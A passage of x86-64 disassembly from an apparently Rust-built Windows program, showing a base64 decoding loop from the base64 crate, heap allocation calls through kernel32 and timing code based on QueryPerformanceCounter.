mov qword [rdi + 0x18], rcx
mov qword [rdi + 0x20], rax
mov eax, dword [rbp + 0x28e4]
mov dword [rdi + 0x28], eax
mov eax, dword [rbp + 0x28e0]
mov dword [rdi + 0x2c], eax
mov eax, dword [rbp + 0x28d8]
mov dword [rdi + 0x30], eax
mov eax, dword [rbp + 0x28d4]
mov dword [rdi + 0x34], eax
mov eax, dword [rbp + 0x2904]
mov dword [rdi + 0x38], eax
mov eax, dword [rbp + 0x2880]
mov dword [rdi + 0x3c], eax
mov eax, dword [rbp + 0x2878]
mov dword [rdi + 0x40], eax
mov eax, dword [rbp + 0x28f8]
mov dword [rdi + 0x44], eax
mov eax, dword [rbp + 0x28dc]
mov dword [rdi + 0x48], eax
movzx eax, word [rbp + 0x2916]
mov word [rdi + 0x4c], ax
movzx eax, word [rbp + 0x2914]
mov word [rdi + 0x4e], ax
movdqa xmm0, xmmword [rbp - 0x50]
movdqu xmmword [rdi + 0x50], xmm0
movzx eax, byte [rbp - 0x40]
mov byte [rdi + 0x60], al
mov eax, dword [rbp + 0x2590]
mov ecx, dword [rbp + 0x2593]
mov dword [rdi + 0x61], eax
mov dword [rdi + 0x64], ecx
mov rcx, qword [rbp + 0x2918]
mov r12d, 3
lock dec qword [rcx]
je 0x14010cbc5
jmp 0x14010cbd1
xor edi, edi
lock dec qword [rcx]
je 0x14010cbc5
jmp 0x14010cbd1
mov eax, 0xa
jmp case.default.0x14010d04f
mov eax, 0xb
jmp case.default.0x14010d04f
mov eax, 0xc
xor ecx, ecx
mov r9, rdi
sub r9, rax
cmovb r9, rcx
cmp r9, 0x20
mov qword [rbp + 0x2918], r14
mov qword [rbp + 0x2928], r13
jb 0x14010d6ac
lea rax, [r9 - 0x20]
mov qword [rbp + 0x28f8], rax
lea r10, [rbx + 0x1f]
lea r11, [0x140128cb5]
xor esi, esi
xor ecx, ecx
mov qword [rbp + 0x2920], r9
cmp rsi, 0xffffffffffffffe0
je 0x14010ee1f
lea rax, [rsi + 0x20]
cmp rax, rdi
ja 0x14010ee36
mov rdx, rax
lea rax, [rcx + 0x1a]
cmp rax, r14
ja 0x14010ee4e
movzx r12d, byte [r10 + rsi - 0x1f]
movzx r14d, byte [r12 + r11]
cmp r14, 0xff
je 0x14010db68
movzx r12d, byte [r10 + rsi - 0x1e]
movzx eax, byte [r12 + r11]
cmp rax, 0xff
je 0x14010dd3e
movzx r12d, byte [r10 + rsi - 0x1d]
movzx r9d, byte [r12 + r11]
cmp r9, 0xff
je 0x14010dd48
movzx r12d, byte [r10 + rsi - 0x1c]
movzx r15d, byte [r12 + r11]
cmp r15, 0xff
je 0x14010dd53
movzx r12d, byte [r10 + rsi - 0x1b]
movzx ebx, byte [r12 + r11]
cmp rbx, 0xff
je 0x14010dd6c
movzx r12d, byte [r10 + rsi - 0x1a]
movzx edi, byte [r12 + r11]
cmp rdi, 0xff
je 0x14010dd75
mov qword [rbp + 0x2908], r8
movzx r12d, byte [r10 + rsi - 0x19]
movzx r8d, byte [r12 + r11]
cmp r8, 0xff
je 0x14010dd7e
movzx r12d, byte [r10 + rsi - 0x18]
movzx r13d, byte [r12 + r11]
cmp r13, 0xff
je 0x14010dd87
shl r14, 0x3a
shl rax, 0x34
or rax, r14
shl r9, 0x2e
shl r15, 0x28
or r15, r9
or r15, rax
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r8, 0x16
or r8, rdi
or r8, r15
shl r13, 0x10
or r13, r8
bswap r13
mov rax, qword [rbp + 0x2928]
mov r8, rcx
mov qword [rax + rcx], r13
movzx r12d, byte [r10 + rsi - 0x17]
movzx eax, byte [r12 + r11]
cmp rax, 0xff
je 0x14010dd90
movzx r12d, byte [r10 + rsi - 0x16]
movzx r14d, byte [r12 + r11]
cmp r14, 0xff
mov r15, qword [rbp + 0x2930]
je 0x14010dd99
movzx r12d, byte [r10 + rsi - 0x15]
movzx r9d, byte [r12 + r11]
cmp r9, 0xff
je 0x14010dda4
movzx r12d, byte [r10 + rsi - 0x14]
movzx r15d, byte [r12 + r11]
cmp r15, 0xff
je 0x14010ddaf
movzx r12d, byte [r10 + rsi - 0x13]
movzx ebx, byte [r12 + r11]
cmp rbx, 0xff
je 0x14010debe
movzx r12d, byte [r10 + rsi - 0x12]
movzx edi, byte [r12 + r11]
cmp rdi, 0xff
je 0x14010decf
movzx r12d, byte [r10 + rsi - 0x11]
movzx r8d, byte [r12 + r11]
cmp r8, 0xff
je 0x14010dedb
movzx r12d, byte [r10 + rsi - 0x10]
movzx r13d, byte [r12 + r11]
cmp r13, 0xff
je 0x14010dee7
shl rax, 0x3a
shl r14, 0x34
or r14, rax
shl r9, 0x2e
shl r15, 0x28
or r15, r9
or r15, r14
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r8, 0x16
or r8, rdi
or r8, r15
shl r13, 0x10
or r13, r8
bswap r13
mov rax, qword [rbp + 0x2928]
mov r8, rcx
mov qword [rax + rcx + 6], r13
movzx r12d, byte [r10 + rsi - 0xf]
movzx eax, byte [r12 + r11]
cmp rax, 0xff
je 0x14010def3
movzx r12d, byte [r10 + rsi - 0xe]
movzx r14d, byte [r12 + r11]
cmp r14, 0xff
mov r15, qword [rbp + 0x2930]
je 0x14010deff
movzx r12d, byte [r10 + rsi - 0xd]
movzx r9d, byte [r12 + r11]
cmp r9, 0xff
je 0x14010dfad
movzx r12d, byte [r10 + rsi - 0xc]
movzx r15d, byte [r12 + r11]
cmp r15, 0xff
je 0x14010e034
movzx r12d, byte [r10 + rsi - 0xb]
movzx ebx, byte [r12 + r11]
cmp rbx, 0xff
je 0x14010e03d
movzx r12d, byte [r10 + rsi - 0xa]
movzx edi, byte [r12 + r11]
cmp rdi, 0xff
je 0x14010e046
movzx r12d, byte [r10 + rsi - 9]
movzx r8d, byte [r12 + r11]
cmp r8, 0xff
je 0x14010e04f
movzx r12d, byte [r10 + rsi - 8]
movzx r13d, byte [r12 + r11]
cmp r13, 0xff
je 0x14010e058
shl rax, 0x3a
shl r14, 0x34
or r14, rax
shl r9, 0x2e
shl r15, 0x28
or r15, r9
or r15, r14
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r8, 0x16
or r8, rdi
or r8, r15
shl r13, 0x10
or r13, r8
bswap r13
mov rax, qword [rbp + 0x2928]
mov r8, rcx
mov qword [rax + rcx + 0xc], r13
movzx r12d, byte [r10 + rsi - 7]
movzx eax, byte [r12 + r11]
cmp rax, 0xff
je 0x14010e061
movzx r12d, byte [r10 + rsi - 6]
movzx r14d, byte [r12 + r11]
cmp r14, 0xff
mov r15, qword [rbp + 0x2930]
je 0x14010e87e
movzx r12d, byte [r10 + rsi - 5]
movzx r9d, byte [r12 + r11]
cmp r9, 0xff
je 0x14010e889
movzx r12d, byte [r10 + rsi - 4]
movzx r15d, byte [r12 + r11]
cmp r15, 0xff
je 0x14010e894
movzx r12d, byte [r10 + rsi - 3]
movzx ebx, byte [r12 + r11]
cmp rbx, 0xff
je 0x14010e89d
movzx r12d, byte [r10 + rsi - 2]
movzx edi, byte [r12 + r11]
cmp rdi, 0xff
je 0x14010e8a6
movzx r12d, byte [r10 + rsi - 1]
movzx r8d, byte [r12 + r11]
cmp r8, 0xff
je 0x14010e8af
movzx r12d, byte [r10 + rsi]
movzx r13d, byte [r12 + r11]
cmp r13, 0xff
je 0x14010e8b8
shl rax, 0x3a
shl r14, 0x34
or r14, rax
shl r9, 0x2e
shl r15, 0x28
or r15, r9
or r15, r14
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r8, 0x16
or r8, rdi
or r8, r15
shl r13, 0x10
or r13, r8
bswap r13
mov rax, qword [rbp + 0x2928]
mov qword [rax + rcx + 0x12], r13
add rcx, 0x18
mov r8, qword [rbp + 0x2908]
add r8, 0xfffffffffffffffc
mov rax, rdx
mov rsi, rdx
cmp rdx, qword [rbp + 0x28f8]
mov r15, qword [rbp + 0x2930]
mov rdi, qword [rbp + 0x2760]
mov rbx, qword [rbp + 0x28f0]
mov r14, qword [rbp + 0x2918]
mov r9, qword [rbp + 0x2920]
jbe 0x14010d20f
jmp 0x14010d6ae
xor edx, edx
mov r10, rbx
cmp r9, 8
jb 0x14010d85d
add r9, 0xfffffffffffffff8
mov rsi, rdx
cmp rdx, r9
jae 0x14010d85a
lea r13, [0x140128cb5]
mov qword [rbp + 0x2920], r9
cmp rsi, 0xfffffffffffffff8
je 0x14010edb9
lea rdx, [rsi + 8]
cmp rdx, rdi
mov r15, qword [rbp + 0x2930]
ja 0x14010edd5
lea rax, [rcx + 8]
cmp rcx, 0xfffffffffffffff7
ja 0x14010ede2
cmp rax, r14
ja 0x14010edf3
mov rbx, r10
movzx r12d, byte [r10 + rsi]
movzx r10d, byte [r12 + r13]
cmp r10, 0xff
je 0x14010db68
movzx r12d, byte [rbx + rsi + 1]
movzx eax, byte [r12 + r13]
cmp rax, 0xff
je 0x14010dcf3
movzx r12d, byte [rbx + rsi + 2]
movzx r14d, byte [r12 + r13]
cmp r14, 0xff
je 0x14010dcfe
movzx r12d, byte [rbx + rsi + 3]
movzx r11d, byte [r12 + r13]
cmp r11, 0xff
je 0x14010dd09
movzx r12d, byte [rbx + rsi + 4]
movzx r9d, byte [r12 + r13]
cmp r9, 0xff
je 0x14010dd14
mov qword [rbp + 0x2908], rdx
movzx r12d, byte [rbx + rsi + 5]
movzx edi, byte [r12 + r13]
cmp rdi, 0xff
je 0x14010dd1f
mov rdx, r8
movzx r12d, byte [rbx + rsi + 6]
movzx r8d, byte [r12 + r13]
cmp r8, 0xff
je 0x14010dd2a
movzx r12d, byte [rbx + rsi + 7]
movzx r15d, byte [r12 + r13]
cmp r15, 0xff
je 0x14010dd35
mov rbx, r13
shl r10, 0x3a
shl rax, 0x34
or rax, r10
shl r14, 0x2e
shl r11, 0x28
or r11, r14
or r11, rax
shl r9, 0x22
shl rdi, 0x1c
or rdi, r9
shl r8, 0x16
or r8, rdi
or r8, r11
shl r15, 0x10
or r15, r8
bswap r15
mov rax, qword [rbp + 0x2928]
mov qword [rax + rcx], r15
mov r8, rdx
dec r8
add rcx, 6
mov rdx, qword [rbp + 0x2908]
mov rsi, rdx
mov r9, qword [rbp + 0x2920]
cmp rdx, r9
mov rdi, qword [rbp + 0x2760]
mov r10, qword [rbp + 0x28f0]
mov r14, qword [rbp + 0x2918]
jb 0x14010d6d9
jmp 0x14010d85d
mov rdx, rsi
mov r13, rdx
cmp r8, 2
jb 0x14010da5e
mov rax, rdi
neg rax
mov qword [rbp + 0x28f8], rax
mov rdx, rdi
sub rdx, r13
dec r8
mov qword [rbp + 0x2908], r8
lea r8, [0x140128cb5]
mov rbx, r10
cmp r13, rdi
ja 0x14010eeab
cmp rcx, 0xfffffffffffffff9
mov r15, qword [rbp + 0x2930]
ja 0x14010eeb4
lea rax, [rcx + 6]
mov qword [rbp + 0x2920], rax
cmp rax, r14
ja 0x14010eec6
mov rax, qword [rbp + 0x28f8]
add rax, r13
je 0x14010ebda
movzx r12d, byte [rbx + r13]
movzx r9d, byte [r12 + r8]
cmp r9, 0xff
je 0x14010dec8
cmp rdx, 2
jb 0x14010ebec
movzx r12d, byte [rbx + r13 + 1]
movzx r10d, byte [r12 + r8]
cmp r10, 0xff
je 0x14010ddb8
cmp rdx, 2
jbe 0x14010ec04
movzx r12d, byte [rbx + r13 + 2]
movzx r11d, byte [r12 + r8]
cmp r11, 0xff
je 0x14010dec4
cmp rdx, 3
jbe 0x14010ec1c
movzx r12d, byte [rbx + r13 + 3]
movzx r15d, byte [r12 + r8]
cmp r15, 0xff
je 0x14010ded5
cmp rdx, 4
jbe 0x14010ec34
movzx r12d, byte [rbx + r13 + 4]
movzx eax, byte [r12 + r8]
cmp rax, 0xff
je 0x14010dee1
cmp rdx, 5
jbe 0x14010ec4c
movzx r12d, byte [rbx + r13 + 5]
movzx r14d, byte [r12 + r8]
cmp r14, 0xff
je 0x14010deed
cmp rdx, 6
jbe 0x14010ec64
movzx r12d, byte [rbx + r13 + 6]
movzx ebx, byte [r12 + r8]
cmp rbx, 0xff
je 0x14010def9
cmp rdx, 7
jbe 0x14010ec7c
mov rsi, rcx
mov rcx, qword [rbp + 0x28f0]
movzx r12d, byte [rcx + r13 + 7]
movzx edi, byte [r12 + r8]
cmp rdi, 0xff
je 0x14010df07
shl r9, 0x3a
shl r10, 0x34
or r10, r9
shl r11, 0x2e
or r11, r10
shl r15, 0x28
or r15, r11
shl rax, 0x22
or rax, r15
shl r14, 0x1c
or r14, rax
shl rbx, 0x16
or rbx, r14
shl rdi, 0x10
or rdi, rbx
bswap rdi
mov rax, qword [rbp + 0x2928]
mov dword [rax + rsi], edi
shr rdi, 0x20
mov word [rax + rsi + 4], di
add r13, 8
add rdx, 0xfffffffffffffff8
mov rax, qword [rbp + 0x2920]
mov rcx, rax
dec qword [rbp + 0x2908]
mov rdi, qword [rbp + 0x2760]
mov rbx, qword [rbp + 0x28f0]
mov r14, qword [rbp + 0x2918]
jne 0x14010d891
jmp 0x14010da64
mov rax, rcx
mov rbx, r10
cmp r13, rdi
ja 0x14010eef1
mov qword [rbp + 0x2920], rax
xor r8d, r8d
cmp r13, rdi
jne 0x14010dab6
mov rsi, r13
xor eax, eax
xor edx, edx
xor r12d, r12d
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor r10d, r10d
xor r9d, r9d
xor ecx, ecx
mov rdi, rax
shl rdi, cl
test rdi, rdi
je 0x14010db6f
add rsi, rdx
dec rsi
mov edx, 2
jmp 0x14010df10
add rdi, rbx
mov rsi, r13
add rbx, r13
lea r10, [0x140128cb5]
xor eax, eax
xor edx, edx
xor r9d, r9d
xor r14d, r14d
xor r11d, r11d
mov r15d, r8d
xor ecx, ecx
movzx r12d, byte [rbx + rcx]
cmp r12, 0x3d
jne 0x14010db1b
mov r12, rdi
lea rdi, [r11 + rcx]
test dil, 2
je 0x14010dc92
mov r13, rbx
lea rbx, [r15 + rcx]
test ebx, ebx
mov rbx, r13
cmove r9, rdi
lea rdi, [rcx + r13]
inc rdi
inc rcx
cmp rdi, r12
mov rdi, r12
jne 0x14010dad8
jmp 0x14010dca7
add r15, rcx
test r15d, r15d
mov r14, rsi
jg 0x14010ea16
movzx r8d, byte [r12 + r10]
cmp r8, 0xff
je 0x14010ebab
add rbx, rcx
inc rbx
add r11, rcx
inc r11
inc rdx
imul ecx, edx, 0x3a
shl r8, cl
or rax, r8
mov r8d, r15d
mov r14d, r12d
cmp rbx, rdi
jne 0x14010dad3
jmp 0x14010dcaa
xor edx, edx
jmp case.0x14010d04f.1
test r8b, r8b
je 0x14010dd5c
mov r8, qword [rbp + 0x2920]
cmp r8, r14
jae 0x14010ecc6
mov rcx, rax
shr rcx, 0x38
mov rdx, qword [rbp + 0x2928]
mov byte [rdx + r8], cl
lea rcx, [r8 + 1]
test r13b, r13b
je 0x14010ddc0
cmp rcx, r14
mov rdx, qword [rbp + 0x2928]
jae 0x14010ecc9
mov rcx, rax
shr rcx, 0x30
mov byte [rdx + r8 + 1], cl
lea rcx, [r8 + 2]
test r15b, r15b
je 0x14010ddc0
cmp rcx, r14
jae 0x14010ecc9
mov rcx, rax
shr rcx, 0x28
mov byte [rdx + r8 + 2], cl
lea rcx, [r8 + 3]
test r11b, r11b
mov r15, qword [rbp + 0x2930]
je 0x14010e992
cmp rcx, r14
jae 0x14010ecc9
mov rcx, rax
shr rcx, 0x20
mov byte [rdx + r8 + 3], cl
lea rcx, [r8 + 4]
test r10b, r10b
mov r15, qword [rbp + 0x2930]
je 0x14010e992
cmp rcx, r14
jae 0x14010ecc9
mov rcx, rax
shr rcx, 0x18
mov byte [rdx + r8 + 4], cl
lea rcx, [r8 + 5]
test r9b, r9b
je 0x14010ddc0
cmp rcx, r14
jae 0x14010ecc9
shr rax, 0x10
mov byte [rdx + r8 + 5], al
add r8, 6
jmp 0x14010ddc3
lea rcx, [rbp + 0x2440]
xor edx, edx
mov r8, r14
call fcn.140122bf0
mov r13, qword [rbp + 0x2448]
mov rsi, qword [rbp + 0x2450]
jmp 0x14010cffe
add r8d, ecx
test r8d, r8d
cmovg rdi, r9
add rsi, rdi
mov r12b, 0x3d
jmp 0x14010df0e
mov r12d, r14d
cmp rdx, 8
mov r14, qword [rbp + 0x2918]
ja case.0x14010dcde.1
xor r8d, r8d
lea rcx, [0x14010f418]
movsxd rdi, dword [rcx + rdx*4]
add rdi, rcx
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor r10d, r10d
xor r9d, r9d
mov rcx, rdx
jmp rdi
mov ecx, 8
mov r8b, 1
xor r13d, r13d
xor r15d, r15d
jmp 0x14010e91d
or rsi, 1
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 2
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 3
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 4
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 5
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 6
xor edx, edx
jmp case.0x14010d04f.1
or rsi, 7
jmp 0x14010df0e
inc rsi
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 2
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 3
jmp 0x14010df0e
mov r15, qword [rbp + 0x2930]
mov r8, qword [rbp + 0x2920]
jmp 0x14010ddca
add rsi, 4
jmp 0x14010df0e
add rsi, 5
jmp 0x14010df0e
add rsi, 6
jmp 0x14010df0e
add rsi, 7
jmp 0x14010df0e
add rsi, 8
jmp 0x14010df0e
add rsi, 9
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 0xa
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 0xb
jmp 0x14010df0e
inc r13
jmp 0x14010dec8
mov r8, rcx
mov r15, qword [rbp + 0x2930]
mov rax, qword [rbp + 0x2450]
cmp rax, r8
cmovb r8, rax
mov r12, qword [rbp + 0x2440]
mov r14, qword [rbp + 0x2448]
lea rcx, [rbp - 0x50]
mov rdx, r14
mov r13, r8
call fcn.1400070e0
cmp qword [rbp - 0x50], 0
je 0x14010de20
mov rsi, qword [rbp - 0x48]
movzx edi, byte [rbp - 0x40]
mov eax, dword [rbp - 0x3f]
mov dword [rbp + 0x2150], eax
mov eax, dword [rbp - 0x3c]
mov dword [rbp + 0x2153], eax
cmp dil, 2
jne 0x14010dfb8
mov dword [rbp - 0x30], 0
mov word [rbp - 0x2c], 0
mov qword [rbp - 0x50], 0
mov dword [rbp - 0x48], 0
movdqa xmm0, xmmword [0x140128950]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x2f], 1
mov byte [rbp - 0x2c], 1
mov byte [rbp - 0x2d], 1
lea rcx, [rbp - 0x50]
mov rdx, r14
mov r8, r13
call fcn.1400e6020
mov rsi, rdx
test rax, rax
je 0x14010e06a
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010de95
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ec98
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ec98
mov rbx, rax
mov qword [rax], rsi
lea rsi, str.pK_n_
jmp 0x14010eb8b
add rsi, 0xc
jmp 0x14010df0e
add r13, 2
mov rsi, r13
xor edx, edx
jmp case.0x14010d04f.1
add rsi, 0xd
jmp 0x14010df0e
add r13, 3
jmp 0x14010df0b
add rsi, 0xe
jmp 0x14010df0e
add r13, 4
jmp 0x14010df0b
add rsi, 0xf
jmp 0x14010df0e
add r13, 5
jmp 0x14010df0b
add rsi, 0x10
jmp 0x14010df0e
add r13, 6
jmp 0x14010df0b
add rsi, 0x11
xor edx, edx
jmp case.0x14010d04f.1
add r13, 7
mov rsi, r13
xor edx, edx
mov r15, qword [rbp + 0x2930]
mov rdi, rdx
cmp qword [rbp + 0x2440], 0
je 0x14010df3a
mov r8, qword [rbp + 0x2448]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010df5f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ecfb
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x10
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ecfb
mov rbx, rax
movzx eax, r12b
shl rax, 8
or rax, rdi
mov qword [rbx], rax
mov qword [rbx + 8], rsi
lea rsi, [0x140184228]
lea rcx, [rbp + 0x2090]
call fcn.14010f450
lock dec qword [r15]
je 0x14010cc31
jmp 0x14010cc39
add rsi, 0x12
xor edx, edx
jmp case.0x14010d04f.1
mov eax, dword [rbp + 0x2150]
mov ecx, dword [rbp + 0x2153]
mov dword [rbp - 0x4d], ecx
mov dword [rbp - 0x50], eax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010dfef
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010efeb
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010efeb
mov rbx, rax
mov qword [rax], rsi
mov byte [rax + 8], dil
mov eax, dword [rbp - 0x50]
mov ecx, dword [rbp - 0x4d]
mov dword [rbx + 9], eax
mov dword [rbx + 0xc], ecx
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r13
lea rsi, [0x1401842a0]
jmp 0x14010df92
add rsi, 0x13
jmp 0x14010df0e
add rsi, 0x14
jmp 0x14010df0e
add rsi, 0x15
jmp 0x14010df0e
add rsi, 0x16
jmp 0x14010df0e
add rsi, 0x17
jmp 0x14010df0e
add rsi, 0x18
jmp 0x14010df0e
mov qword [rbp + 0x2920], r12
mov qword [rbp + 0x2918], r14
mov qword [rbp + 0x2700], rsi
mov qword [rbp + 0x2150], 0
mov qword [rbp + 0x2158], 1
mov qword [rbp + 0x2160], 0
xor ebx, ebx
pxor xmm6, xmm6
lea r13, [0x14015c0b0]
xor esi, esi
jmp 0x14010e0c6
mov rax, r15
shr rax, 0x20
mov esi, 0x2000
cmp eax, 0x23
jne 0x14010ea21
cmp rsi, 0x2001
jae 0x14010eedb
mov r8d, 0x2000
sub r8, rsi
lea rcx, [rsi + rbp]
add rcx, 0xffffffffffffffb0
xor edx, edx
call fcn.140111a10
mov rsi, qword [rbp + 0x2090]
mov rdi, qword [rbp + 0x20a0]
mov r15d, dword [rbp + 0x20a8]
test rsi, rsi
mov qword [rbp + 0x2928], rdi
je 0x14010e12a
mov r14, qword [rbp + 0x2098]
mov edi, 0x3b9aca00
cmp r15d, 0x3b9aca00
jne 0x14010e20b
jmp 0x14010e26a
lea rcx, [rbp + 0x20b8]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x25a0], xmm1
movaps xmmword [rbp + 0x2590], xmm0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp + 0x20b8], rax
movdqu xmmword [rcx + 8], xmm6
lea rax, [0x140156cd8]
mov qword [rbp + 0x20d0], rax
mov rax, qword [0x140195bd0]
test rax, rax
jne 0x14010e189
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ef79
mov qword [0x140195bd0], rax
mov r8d, 0x50
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ef79
mov rsi, rax
movaps xmm0, xmmword [rbp + 0x2590]
movaps xmm1, xmmword [rbp + 0x25a0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rax + 0x20], 1
mov rax, qword [rbp + 0x2460]
mov qword [rsi + 0x48], rax
movdqu xmm0, xmmword [rbp + 0x2440]
movdqu xmm1, xmmword [rbp + 0x2450]
movdqu xmmword [rsi + 0x38], xmm1
movdqu xmmword [rsi + 0x28], xmm0
mov qword [rbp + 0x2090], rsi
lea r14, [0x1401576b8]
mov qword [rbp + 0x2098], r14
mov edi, 0x3b9aca00
cmp r15d, 0x3b9aca00
je 0x14010e26a
call fcn.1400e81b0
add rax, qword [rbp + 0x2928]
jb 0x14010ecda
add r15d, edx
cmp r15d, 0x3b9ac9ff
jbe 0x14010e239
inc rax
je 0x14010ecda
add r15d, 0xc4653600
mov ecx, r15d
shr ecx, 9
imul r12, rcx, 0x44b83
shr r12, 0x27
add r12, rax
jb 0x14010ef83
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r15d, eax
mov edi, r15d
call fcn.1400e0340
test rax, rax
je 0x14010ecac
mov r15, rax
mov rax, qword [0x140195bd0]
test rax, rax
jne 0x14010e29d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4b4
mov qword [0x140195bd0], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4b4
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], r15
mov qword [rbp + 0x1fb0], rcx
lea rax, fcn.140077ab0
mov qword [rbp + 0x1fb8], rax
lea rax, [rbp + 0x1fb0]
mov qword [rbp + 0x27e0], rax
cmp edi, 0x3b9aca00
je 0x14010e48c
mov rax, qword [r14 + 0x18]
mov qword [rbp + 0x2928], rax
lea r14, [rbp + 0x2440]
jmp 0x14010e353
mov qword [rbp + 0x2440], r12
mov dword [rbp + 0x2448], edi
lea r14, [rbp + 0x2440]
mov rcx, r14
call fcn.1400e8360
cmp edx, 0x3b9aca00
cmove edx, ebx
mov ecx, 0
cmovne rcx, rax
call fcn.1400e07c0
mov qword [rsp + 0x20], 0x2000
mov rcx, r14
mov rdx, rsi
lea r8, [rbp + 0x27e0]
lea r9, [rbp - 0x50]
call qword [rbp + 0x2928]
mov rax, qword [rbp + 0x2440]
cmp rax, 2
jne 0x14010e6a2
mov qword [rbp + 0x2590], 0
lea rcx, [rbp + 0x2590]
call qword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14010ed5a
mov r15, qword [rbp + 0x2590]
mov r8, qword [0x140195be8]
test r8, r8
jne 0x14010e3ee
mov qword [rbp + 0x2590], 0
lea rcx, [rbp + 0x2590]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14010ee66
mov r8, qword [rbp + 0x2590]
mov qword [0x140195be8], r8
test r8, r8
je 0x14010ebc0
mov rax, r15
or rax, r8
shr rax, 0x20
je 0x14010e407
mov rax, r15
xor edx, edx
div r8
mov rcx, rax
jmp 0x14010e411
mov eax, r15d
xor edx, edx
div r8d
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, r8
shr rdx, 0x20
je 0x14010e42b
xor edx, edx
div r8
jmp 0x14010e430
xor edx, edx
div r8d
imul r8, rcx, 0x3b9aca00
add r8, rax
mov rax, r8
shr rax, 9
movabs rcx, 0x44b82fa09b5a53
mul rcx
shr rdx, 0xb
imul eax, edx, 0x3b9aca00
sub r8d, eax
cmp rdx, r12
jb 0x14010e320
mov r14d, 1
jne 0x14010e858
mov r15d, 0
cmp edi, r8d
ja 0x14010e320
jmp 0x14010e6c0
mov rcx, r12
call fcn.1400c5c30
mov qword [rsp + 0x20], 0x2000
lea rcx, [rbp + 0x2440]
mov rdx, rsi
lea r8, [rbp + 0x27e0]
lea r9, [rbp - 0x50]
call qword [r14 + 0x18]
mov rax, qword [rbp + 0x2440]
cmp rax, 2
jne 0x14010e6a2
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xb0]
cmp eax, 1
je 0x14010e526
test eax, eax
jne 0x14010ee02
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xa0]
lea rdx, [0x1400dd8a0]
call fcn.1400dd8d0
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xb0], 1
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x14010ed2a
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa0], 0xffffffffffffffff
mov r12, qword [rax + 0xa8]
test r12, r12
jne 0x14010e595
xor ecx, ecx
call fcn.1400dd210
mov r12, rax
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa8], r12
lock inc qword [r12]
jle 0x14010ec94
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
inc qword [rax + 0xa0]
lock dec byte [r12 + 0x28]
je 0x14010e5fd
lea r15, [r12 + 0x28]
mov rdi, qword [0x140195bf0]
test rdi, rdi
je 0x14010e60d
nop word cs:[rax + rax]
mov r8d, 1
mov rcx, r15
mov rdx, r13
mov r9d, 0xffffffff
call rdi
mov al, 1
lock cmpxchg byte [r15], bl
jne 0x14010e5e0
lock dec qword [r12]
jne 0x14010e48c
jmp 0x14010e484
mov rcx, qword [0x140195040]
cmp rcx, 0xffffffffffffffff
jne 0x14010e67b
mov qword [rbp + 0x2928], r12
mov qword [rbp + 0x23b0], 0xffffffffffffffff
mov rax, qword [0x140195050]
lea rcx, [rbp + 0x23b0]
